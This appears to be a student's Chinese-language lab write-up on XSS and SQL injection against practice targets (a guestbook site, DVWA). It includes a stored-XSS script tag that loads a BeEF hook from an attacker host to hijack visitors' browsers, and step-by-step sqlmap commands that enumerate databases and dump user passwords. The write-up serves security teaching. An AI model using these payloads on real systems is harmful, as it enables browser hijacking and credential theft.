写在前面 实验终于开始有意思起来了,Attack!
网络渗透测试实验三:XSS 和 SQL 注入
实验目的
了解什么是XSS
了解XSS攻击实施,理解防御XSS攻击的方法
了解SQL注入的基本原理
掌握PHP脚本访问MySQL数据库的基本方法
掌握程序设计中避免出现SQL注入漏洞的基本方法
掌握网站配置。
系统环境
- Kali Linux2、Windows Server
网络环境
- 交换网络结构
实验工具
- Beef
- AWVS
- Sqlmap
- DVWA
实验步骤
XSS部分:利用 Beef 劫持被攻击者客户端浏览器
- 实验环境搭建:
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建) 攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站); 被攻击者:访问留言簿网站,浏览器被劫持。
搭建教程网站:本地win7系统下ASP网站环境搭建
搭建成功:
- 利用 AWVS 扫描留言簿网站,发现存在 XSS 漏洞,截图
这里还看到了一个
HTTP.sys
远程代码执行漏洞,稍微看了一下,还是个二进制漏洞,metasploit已经收录而且能直接把受害主机打蓝屏,真不错
- kali 使用 Beef 生成恶意代码,截图
很遗憾,我的新版 kali 依旧是没有 beef ,果断选择安回所有工具
apt-get -y install kali-linux-default #渗透测试的基本工具 apt-get -y install kali-linux-large #更广泛的工具 apt-get -y install kali-linux-everything #所有工具
然后还是没有 beef
自己安装了一个
apt-get install beef-xss
打开 beef 的时候遇到了一个报错,说不能使用默认的账号密码(beef beef),去对应路径下找到文件自己改一个新的账号密码就行了
[!] ERROR: Don't use default username and password!
[15:18:15] |_ Change the beef.credentials.passwd in /etc/beef-xss/config.yaml
- 访问 http://留言簿网站/message.asp,将以下恶意代码写入网站留言板,截图
<script src="http://192.168.17.132:3000/hook.js"></script>
- 管理员登录 login.html,账号密码均为 admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页,将你在 beff 中的配置截图
没有选择跳到学校主页,选择了跳到自己的博客主页
- 回答问题:实验中 XSS 攻击属于哪种类型?
存储型 XSS
SQL 注入部分:DVWA + SQLmap + Mysql 注入实战
- 实验环境搭建。启动 Metasploitable2 虚拟机
在输入框输入1,返回
ID: 1 First name: admin Surname: admin
返回正常; 再次输入1',报错,返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
此时可以断定有SQL注入漏洞, http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit# 下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低;
枚举当前使用的数据库名称和用户名
用 sqlmap 直接扫的时候遇到了个问题,存在
302
跳转页面,扫的时候会直接跳回login.php
登录页面,所以需要加cookie
来扫退回登录页面,抓包拿到 cookie
security=low; PHPSESSID=f383161ec8314206ec01076f9b34b866
你输入的命令:
sqlmap -u "http://192.168.17.130/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low;PHPSESSID=f383161ec8314206ec01076f9b34b866' -b --current-db --current-user
Sqlmap 输出截图:
- 枚举数据库用户名和密码
你输入的命令:
sqlmap -u "http://192.168.17.130/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low;PHPSESSID=f383161ec8314206ec01076f9b34b866' --users --password --batch
Sqlmap 输出截图
- 枚举数据库
--dbs
:枚举所有数据库
你输入的命令:
sqlmap -u "http://192.168.17.130/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low;PHPSESSID=f383161ec8314206ec01076f9b34b866' --dbs
Sqlmap 输出截图:
- 枚举数据库和指定数据库的数据表
-D 数据库名
:指定数据库
--tables
:枚举指定数据库的所有表
你输入的命令:
sqlmap -u "http://192.168.17.130/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low;PHPSESSID=f383161ec8314206ec01076f9b34b866' -D dvwa --tables
Sqlmap 输出截图:
- 获取指定数据库和表中所有列的信息
-D 数据库名
:指定的数据库
-T 指定数据表名
:指定数据库中的数据表
--columns
:获取列的信息
你输入的命令:
sqlmap -u "http://192.168.17.130/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low;PHPSESSID=f383161ec8314206ec01076f9b34b866' -D dvwa -T users --columns
sqlmap -u "http://192.168.17.130/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low;PHPSESSID=f383161ec8314206ec01076f9b34b866' -D dvwa -T guestbook --columns
Sqlmap 输出截图:
- 枚举指定数据表中的所有用户名和密码,并 down 到本地
-C 指定数据表中的列
:枚举数据表中的列
--dump
:存储数据表项
你输入的命令:
sqlmap -u "http://192.168.17.130/dvwa/vulnerabilities/sqli/?id=11&Submit=Submit#" --cookie='security=low;PHPSESSID=f383161ec8314206ec01076f9b34b866' -D dvwa -T users -C user password --dump
Sqlmap 输出截图:
查看 down 到本地的用户名和密码,截图。